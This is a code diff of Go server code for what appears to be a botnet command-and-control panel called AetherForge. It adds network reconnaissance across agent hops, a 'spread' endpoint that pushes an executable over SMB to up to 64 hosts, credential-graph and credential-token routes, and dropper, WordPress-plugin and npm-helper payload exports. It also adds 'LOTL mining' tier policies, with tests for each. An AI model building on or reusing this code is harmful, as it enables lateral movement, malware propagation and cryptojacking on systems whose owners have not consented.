Subnet string `json:"subnet,omitempty"`
|
||||
Services []ServiceGraphEntry `json:"services"`
|
||||
AgentID string `json:"agent_id,omitempty"`
|
||||
}
|
||||
|
||||
// TraceSession holds all state for one active VPN session.
|
||||
type TraceSession struct {
|
||||
ID string `json:"id"`
|
||||
@@ -52,6 +69,13 @@ type TraceSession struct {
|
||||
Ready bool `json:"ready"`
|
||||
Error string `json:"error,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
// Service graph keyed by host IP — merged from hop service_discover passes.
|
||||
ServiceGraph map[string]ServiceGraphHost `json:"service_graph,omitempty"`
|
||||
DiscoverInProgress bool `json:"discover_in_progress,omitempty"`
|
||||
DiscoverError string `json:"discover_error,omitempty"`
|
||||
DiscoveredAt *time.Time `json:"discovered_at,omitempty"`
|
||||
// Passive recon from egress hop (network_recon command).
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
// Client WireGuard keypair — used to build the QR config.
|
||||
clientPrivKey string
|
||||
clientPubKey string
|
||||
@@ -178,6 +202,7 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// Orchestrate asynchronously so the HTTP response returns quickly.
|
||||
go h.orchestrate(sess)
|
||||
go h.collectEgressNetworkHints(sess)
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
@@ -194,12 +219,24 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"ready": sess.Ready,
|
||||
"error": sess.Error,
|
||||
"hops": sess.Hops,
|
||||
})
|
||||
resp := map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"ready": sess.Ready,
|
||||
"error": sess.Error,
|
||||
"hops": sess.Hops,
|
||||
"discover_in_progress": sess.DiscoverInProgress,
|
||||
"discover_error": sess.DiscoverError,
|
||||
}
|
||||
if len(sess.ServiceGraph) > 0 {
|
||||
resp["service_graph"] = serviceGraphList(sess.ServiceGraph)
|
||||
}
|
||||
if sess.DiscoveredAt != nil {
|
||||
resp["discovered_at"] = sess.DiscoveredAt.UTC().Format(time.RFC3339)
|
||||
}
|
||||
if hints := jsonRawOrNil(sess.NetworkHints); hints != nil {
|
||||
resp["network_hints"] = hints
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
// GET /api/v1/pathtrace/{id}/qr
|
||||
@@ -263,8 +300,186 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// POST /api/v1/pathtrace/discover
|
||||
// Body: {"session_id":"…","max_hosts":32}
|
||||
// Dispatches service_discover on every hop and merges LAN/local findings into service_graph.
|
||||
func (h *PathTracerHandler) Discover(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
SessionID string `json:"session_id"`
|
||||
MaxHosts int `json:"max_hosts"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.SessionID = strings.TrimSpace(req.SessionID)
|
||||
if req.SessionID == "" {
|
||||
http.Error(w, "session_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
maxHosts := req.MaxHosts
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 32
|
||||
}
|
||||
|
||||
sess := h.getSession(req.SessionID)
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if len(sess.Hops) == 0 {
|
||||
http.Error(w, "session has no hops", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
for _, hop := range sess.Hops {
|
||||
if !h.hub.isAgentConnected(hop.AgentID) {
|
||||
http.Error(w, "hop agent "+hop.AgentID[:min(8, len(hop.AgentID))]+" not connected", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
if sess.DiscoverInProgress {
|
||||
h.mu.Unlock()
|
||||
http.Error(w, "discover already in progress", http.StatusConflict)
|
||||
return
|
||||
}
|
||||
sess.DiscoverInProgress = true
|
||||
sess.DiscoverError = ""
|
||||
h.mu.Unlock()
|
||||
|
||||
graph, discoverErr := h.runServiceDiscover(sess.Hops, maxHosts)
|
||||
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
sess.DiscoverInProgress = false
|
||||
if discoverErr != "" {
|
||||
sess.DiscoverError = discoverErr
|
||||
}
|
||||
if len(graph) > 0 {
|
||||
sess.ServiceGraph = mergeServiceGraph(sess.ServiceGraph, graph)
|
||||
now := time.Now()
|
||||
sess.DiscoveredAt = &now
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": discoverErr == "",
|
||||
"session_id": sess.ID,
|
||||
"error": discoverErr,
|
||||
"service_graph": serviceGraphList(sess.ServiceGraph),
|
||||
"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
|
||||
})
|
||||
}
|
||||
|
||||
// POST /api/v1/pathtrace/spread
|
||||
// Body: {"session_id":"…","unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":64}
|
||||
// Dispatches spread_smb_unc on the egress Path Tracer hop (last agent in the chain).
|
||||
func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
SessionID string `json:"session_id"`
|
||||
UNCPath string `json:"unc_path"`
|
||||
MaxHosts int `json:"max_hosts"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.SessionID = strings.TrimSpace(req.SessionID)
|
||||
req.UNCPath = strings.TrimSpace(req.UNCPath)
|
||||
if req.SessionID == "" || req.UNCPath == "" {
|
||||
http.Error(w, "session_id and unc_path are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if !strings.HasPrefix(strings.ToLower(req.UNCPath), `\\`) {
|
||||
http.Error(w, "unc_path must be a UNC share (\\\\host\\share\\file.exe)", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if strings.Contains(req.UNCPath, "..") {
|
||||
http.Error(w, "unc_path must not contain ..", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
sess := h.getSession(req.SessionID)
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if len(sess.Hops) == 0 {
|
||||
http.Error(w, "session has no hops", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
egress := sess.Hops[len(sess.Hops)-1]
|
||||
if !h.hub.isAgentConnected(egress.AgentID) {
|
||||
http.Error(w, "egress hop agent not connected", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
maxHosts := req.MaxHosts
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 64
|
||||
}
|
||||
args := map[string]interface{}{
|
||||
"path": req.UNCPath,
|
||||
"command": fmt.Sprintf("%d", maxHosts),
|
||||
}
|
||||
if err := h.hub.SendAgentCommand(egress.AgentID, "spread_smb_unc", args); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"agent_id": egress.AgentID,
|
||||
"agent_name": egress.AgentName,
|
||||
"unc_path": req.UNCPath,
|
||||
"max_hosts": maxHosts,
|
||||
"message": "spread_smb_unc dispatched on Path Tracer egress hop",
|
||||
})
|
||||
}
|
||||
|
||||
// ── orchestration ─────────────────────────────────────────────────────────────
|
||||
|
||||
// collectEgressNetworkHints dispatches network_recon on the egress hop for Path Tracer graph hints.
|
||||
func (h *PathTracerHandler) collectEgressNetworkHints(sess *TraceSession) {
|
||||
if len(sess.Hops) == 0 {
|
||||
return
|
||||
}
|
||||
egress := sess.Hops[len(sess.Hops)-1]
|
||||
if !h.hub.isAgentConnected(egress.AgentID) {
|
||||
return
|
||||
}
|
||||
ch := h.hub.AwaitCommandResult(egress.AgentID, "network_recon")
|
||||
if err := h.hub.SendAgentCommand(egress.AgentID, "network_recon", nil); err != nil {
|
||||
h.hub.CancelAwait(egress.AgentID, "network_recon")
|
||||
log.Printf("[pathtrace] session %s: network_recon dispatch failed: %v", sess.ID[:8], err)
|
||||
return
|
||||
}
|
||||
select {
|
||||
case payload := <-ch:
|
||||
msgStr, _ := payload["message"].(string)
|
||||
if strings.TrimSpace(msgStr) == "" {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
sess.NetworkHints = json.RawMessage(msgStr)
|
||||
h.mu.Unlock()
|
||||
log.Printf("[pathtrace] session %s: network_hints collected from egress hop", sess.ID[:8])
|
||||
case <-time.After(45 * time.Second):
|
||||
h.hub.CancelAwait(egress.AgentID, "network_recon")
|
||||
log.Printf("[pathtrace] session %s: network_recon timed out", sess.ID[:8])
|
||||
}
|
||||
}
|
||||
|
||||
func jsonRawOrNil(raw json.RawMessage) interface{} {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return nil
|
||||
}
|
||||
var v interface{}
|
||||
if err := json.Unmarshal(raw, &v); err != nil {
|
||||
return nil
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops))
|
||||
|
||||
@@ -529,6 +744,170 @@ func (h *PathTracerHandler) getSession(id string) *TraceSession {
|
||||
return h.sessions[id]
|
||||
}
|
||||
|
||||
type agentDiscoverPayload struct {
|
||||
ProbedAt string `json:"probed_at"`
|
||||
Local ServiceGraphHost `json:"local"`
|
||||
LANHosts []ServiceGraphHost `json:"lan_hosts"`
|
||||
PassiveHints []string `json:"passive_hints,omitempty"`
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) runServiceDiscover(hops []*HopInfo, maxHosts int) (map[string]ServiceGraphHost, string) {
|
||||
type discoverResp struct {
|
||||
hop *HopInfo
|
||||
raw string
|
||||
err string
|
||||
}
|
||||
results := make(chan discoverResp, len(hops))
|
||||
|
||||
for _, hop := range hops {
|
||||
hop := hop
|
||||
ch := h.hub.AwaitCommandResult(hop.AgentID, "service_discover")
|
||||
args := map[string]interface{}{"command": fmt.Sprintf("%d", maxHosts)}
|
||||
if err := h.hub.SendAgentCommand(hop.AgentID, "service_discover", args); err != nil {
|
||||
h.hub.CancelAwait(hop.AgentID, "service_discover")
|
||||
results <- discoverResp{hop: hop, err: err.Error()}
|
||||
continue
|
||||
}
|
||||
go func() {
|
||||
select {
|
||||
case payload := <-ch:
|
||||
success, _ := payload["success"].(bool)
|
||||
msg, _ := payload["message"].(string)
|
||||
if !success {
|
||||
results <- discoverResp{hop: hop, err: strings.TrimSpace(msg)}
|
||||
return
|
||||
}
|
||||
results <- discoverResp{hop: hop, raw: msg}
|
||||
case <-time.After(90 * time.Second):
|
||||
h.hub.CancelAwait(hop.AgentID, "service_discover")
|
||||
results <- discoverResp{hop: hop, err: "timeout waiting for service_discover"}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
merged := make(map[string]ServiceGraphHost)
|
||||
var errs []string
|
||||
for range hops {
|
||||
r := <-results
|
||||
if r.err != "" {
|
||||
errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": "+r.err)
|
||||
continue
|
||||
}
|
||||
payload, err := parseAgentDiscoverJSON(r.raw)
|
||||
if err != nil {
|
||||
errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": parse error")
|
||||
continue
|
||||
}
|
||||
merged = mergeServiceGraph(merged, graphFromDiscoverPayload(r.hop.AgentID, payload))
|
||||
}
|
||||
if len(merged) == 0 && len(errs) > 0 {
|
||||
return nil, strings.Join(errs, "; ")
|
||||
}
|
||||
if len(errs) > 0 {
|
||||
return merged, "partial: " + strings.Join(errs, "; ")
|
||||
}
|
||||
return merged, ""
|
||||
}
|
||||
|
||||
func parseAgentDiscoverJSON(raw string) (agentDiscoverPayload, error) {
|
||||
var payload agentDiscoverPayload
|
||||
raw = strings.TrimSpace(raw)
|
||||
if idx := strings.Index(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
err := json.Unmarshal([]byte(raw), &payload)
|
||||
return payload, err
|
||||
}
|
||||
|
||||
func graphFromDiscoverPayload(agentID string, payload agentDiscoverPayload) map[string]ServiceGraphHost {
|
||||
out := make(map[string]ServiceGraphHost)
|
||||
addHost := func(host ServiceGraphHost) {
|
||||
hostKey := strings.TrimSpace(host.Host)
|
||||
if hostKey == "" {
|
||||
return
|
||||
}
|
||||
host.AgentID = agentID
|
||||
existing, ok := out[hostKey]
|
||||
if !ok {
|
||||
host.Services = dedupeServiceEntries(host.Services)
|
||||
out[hostKey] = host
|
||||
return
|
||||
}
|
||||
if existing.Subnet == "" && host.Subnet != "" {
|
||||
existing.Subnet = host.Subnet
|
||||
}
|
||||
if existing.AgentID == "" {
|
||||
existing.AgentID = agentID
|
||||
}
|
||||
existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...))
|
||||
out[hostKey] = existing
|
||||
}
|
||||
|
||||
local := payload.Local
|
||||
local.AgentID = agentID
|
||||
addHost(local)
|
||||
for _, lan := range payload.LANHosts {
|
||||
addHost(lan)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func mergeServiceGraph(base, delta map[string]ServiceGraphHost) map[string]ServiceGraphHost {
|
||||
if base == nil {
|
||||
base = make(map[string]ServiceGraphHost)
|
||||
}
|
||||
for hostKey, host := range delta {
|
||||
existing, ok := base[hostKey]
|
||||
if !ok {
|
||||
dup := host
|
||||
dup.Services = dedupeServiceEntries(dup.Services)
|
||||
base[hostKey] = dup
|
||||
continue
|
||||
}
|
||||
if existing.Subnet == "" && host.Subnet != "" {
|
||||
existing.Subnet = host.Subnet
|
||||
}
|
||||
if existing.AgentID == "" && host.AgentID != "" {
|
||||
existing.AgentID = host.AgentID
|
||||
}
|
||||
existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...))
|
||||
base[hostKey] = existing
|
||||
}
|
||||
return base
|
||||
}
|
||||
|
||||
func dedupeServiceEntries(in []ServiceGraphEntry) []ServiceGraphEntry {
|
||||
seen := make(map[string]bool, len(in))
|
||||
out := make([]ServiceGraphEntry, 0, len(in))
|
||||
for _, e := range in {
|
||||
key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port) + "|" + e.Source
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, e)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func serviceGraphList(m map[string]ServiceGraphHost) []ServiceGraphHost {
|
||||
if len(m) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]ServiceGraphHost, 0, len(m))
|
||||
for _, host := range m {
|
||||
out = append(out, host)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func formatDiscoveredAt(t *time.Time) string {
|
||||
if t == nil {
|
||||
return ""
|
||||
}
|
||||
return t.UTC().Format(time.RFC3339)
|
||||
}
|
||||
|
||||
// getAgentConnByID returns the AgentConnection for the given ID (nil if offline).
|
||||
func (h *WSHub) getAgentConnByID(id string) *AgentConnection {
|
||||
h.mu.RLock()
|
||||
|
||||
@@ -157,6 +157,16 @@ func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey str
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "wg_configure", "success": true,
|
||||
})})
|
||||
case "network_recon":
|
||||
hints, _ := json.Marshal(map[string]interface{}{
|
||||
"spread_targets": []string{"192.168.1.50"},
|
||||
"spread_target_count": 1,
|
||||
"domain_joined": true,
|
||||
"prefer_join_lane": "gpo",
|
||||
})
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "network_recon", "success": true, "message": string(hints),
|
||||
})})
|
||||
case "wg_teardown":
|
||||
return
|
||||
}
|
||||
@@ -439,3 +449,147 @@ func TestPathTracerStartValidation(t *testing.T) {
|
||||
t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerSpreadValidation(t *testing.T) {
|
||||
h := NewPathTracerHandler(NewWSHub(nil))
|
||||
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", bytes.NewReader([]byte(`{}`)))
|
||||
rec := httptest.NewRecorder()
|
||||
h.Spread(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("empty body: expected 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
badUNC := `{"session_id":"sess-1","unc_path":"C:\\local\\worker.exe"}`
|
||||
req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(badUNC))
|
||||
rec = httptest.NewRecorder()
|
||||
h.Spread(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("non-UNC path: expected 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.sessions["sess-missing"] = testTraceSession(1)
|
||||
h.mu.Unlock()
|
||||
body := `{"session_id":"sess-missing","unc_path":"\\\\forge\\pathforge$\\worker.exe"}`
|
||||
req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
|
||||
rec = httptest.NewRecorder()
|
||||
h.Spread(rec, req)
|
||||
if rec.Code != http.StatusBadGateway && rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("offline egress: expected 400/502, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerSpreadDispatches(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
agentID := "spread-egress-agent"
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
conn := connectTestAgent(t, hub, agentID)
|
||||
|
||||
sess := testTraceSession(1)
|
||||
sess.Hops[0].AgentID = agentID
|
||||
handler.mu.Lock()
|
||||
handler.sessions[sess.ID] = sess
|
||||
handler.mu.Unlock()
|
||||
|
||||
cmdCh := make(chan map[string]interface{}, 1)
|
||||
go func() {
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "command" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
if payload["action"] == "spread_smb_unc" {
|
||||
cmdCh <- payload
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
body := fmt.Sprintf(`{"session_id":%q,"unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":32}`, sess.ID)
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Spread(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("spread status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
select {
|
||||
case payload := <-cmdCh:
|
||||
if payload["path"] != `\\forge\pathforge$\worker.exe` {
|
||||
t.Fatalf("unexpected path: %v", payload["path"])
|
||||
}
|
||||
if payload["command"] != "32" {
|
||||
t.Fatalf("unexpected max_hosts command: %v", payload["command"])
|
||||
}
|
||||
case <-time.After(3 * time.Second):
|
||||
t.Fatal("timed out waiting for spread_smb_unc command")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerNetworkHintsFromEgress(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
agentID := "trace-network-hints"
|
||||
startPathTracerAgentResponder(t, hub, agentID, "NET_HINTS_PUB")
|
||||
|
||||
body := `{"agent_ids":["` + agentID + `"]}`
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Start(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var startResp struct {
|
||||
SessionID string `json:"session_id"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+startResp.SessionID+"/status", nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("id", startResp.SessionID)
|
||||
req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx))
|
||||
rec2 := httptest.NewRecorder()
|
||||
handler.Status(rec2, req2)
|
||||
if rec2.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec2.Code, rec2.Body.String())
|
||||
}
|
||||
var status struct {
|
||||
NetworkHints map[string]interface{} `json:"network_hints"`
|
||||
}
|
||||
if err := json.Unmarshal(rec2.Body.Bytes(), &status); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if status.NetworkHints != nil {
|
||||
if status.NetworkHints["prefer_join_lane"] != "gpo" {
|
||||
t.Fatalf("unexpected hints: %+v", status.NetworkHints)
|
||||
}
|
||||
return
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("timed out waiting for network_hints on pathtrace session")
|
||||
}
|
||||
|
||||
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
version := "AetherForge"
|
||||
@@ -548,6 +548,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Dashboard
|
||||
r.Get("/dashboard/stats", h.GetDashboardStats)
|
||||
|
||||
vulnHandler := NewVulnHandler()
|
||||
r.Get("/vuln/catalog", vulnHandler.Catalog)
|
||||
|
||||
// Agents
|
||||
r.Get("/agents", h.ListAgents)
|
||||
r.Get("/agents/{id}", h.GetAgent)
|
||||
@@ -614,10 +617,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
|
||||
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
||||
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
||||
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
|
||||
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
||||
}
|
||||
// Path Forge: walk a local server path, place launchers next to every file
|
||||
if pathForgeHandler != nil {
|
||||
@@ -700,6 +707,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Path Tracer — on-demand WireGuard chain sessions
|
||||
if pathTracerHandler != nil {
|
||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||
r.Post("/pathtrace/spread", pathTracerHandler.Spread)
|
||||
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
|
||||
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
|
||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||
@@ -712,6 +721,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
|
||||
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
|
||||
if spreadCredHandler != nil {
|
||||
r.Post("/agent/spread-cred/issue", spreadCredHandler.IssueToken)
|
||||
r.Post("/agent/spread-cred/redeem", spreadCredHandler.RedeemToken)
|
||||
r.Post("/agent/spread-cred/report", spreadCredHandler.ReportEdge)
|
||||
}
|
||||
if deployPlanHandler != nil {
|
||||
r.Post("/agent/deploy-plan", deployPlanHandler.PostDeployPlan)
|
||||
}
|
||||
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
||||
|
||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -9,4 +9,25 @@ type ServerPolicy struct {
|
||||
StrictWalletValidation bool
|
||||
MaxBuildSizeMB int
|
||||
PoolReconnectSeconds int
|
||||
LotlOnionTiers []string
|
||||
ServiceDeployAllowlist map[string]ServiceDeployLane
|
||||
MiningTierPolicy MiningTierPolicy
|
||||
TripleOnionPolicy TripleOnionPolicy
|
||||
}
|
||||
|
||||
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
||||
type TripleOnionPolicy struct {
|
||||
PatchFirst bool `json:"patch_first,omitempty"`
|
||||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||||
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
|
||||
ReconTiers []string `json:"recon_tiers,omitempty"`
|
||||
DeployLanes []string `json:"deploy_lanes,omitempty"`
|
||||
}
|
||||
|
||||
// MiningTierPolicy is server-pulled LOTL mining onion ordering sent to agents at auth.
|
||||
type MiningTierPolicy struct {
|
||||
TierOrder []string `json:"tier_order,omitempty"`
|
||||
SkipTiers []string `json:"skip_tiers,omitempty"`
|
||||
ForceTier string `json:"force_tier,omitempty"`
|
||||
}
|
||||
|
||||
@@ -14,6 +14,11 @@ func TestServerPolicyJSONRoundTrip(t *testing.T) {
|
||||
StrictWalletValidation: true,
|
||||
MaxBuildSizeMB: 64,
|
||||
PoolReconnectSeconds: 30,
|
||||
TripleOnionPolicy: TripleOnionPolicy{
|
||||
PatchFirst: true,
|
||||
SkipMiningOnHighRisk: true,
|
||||
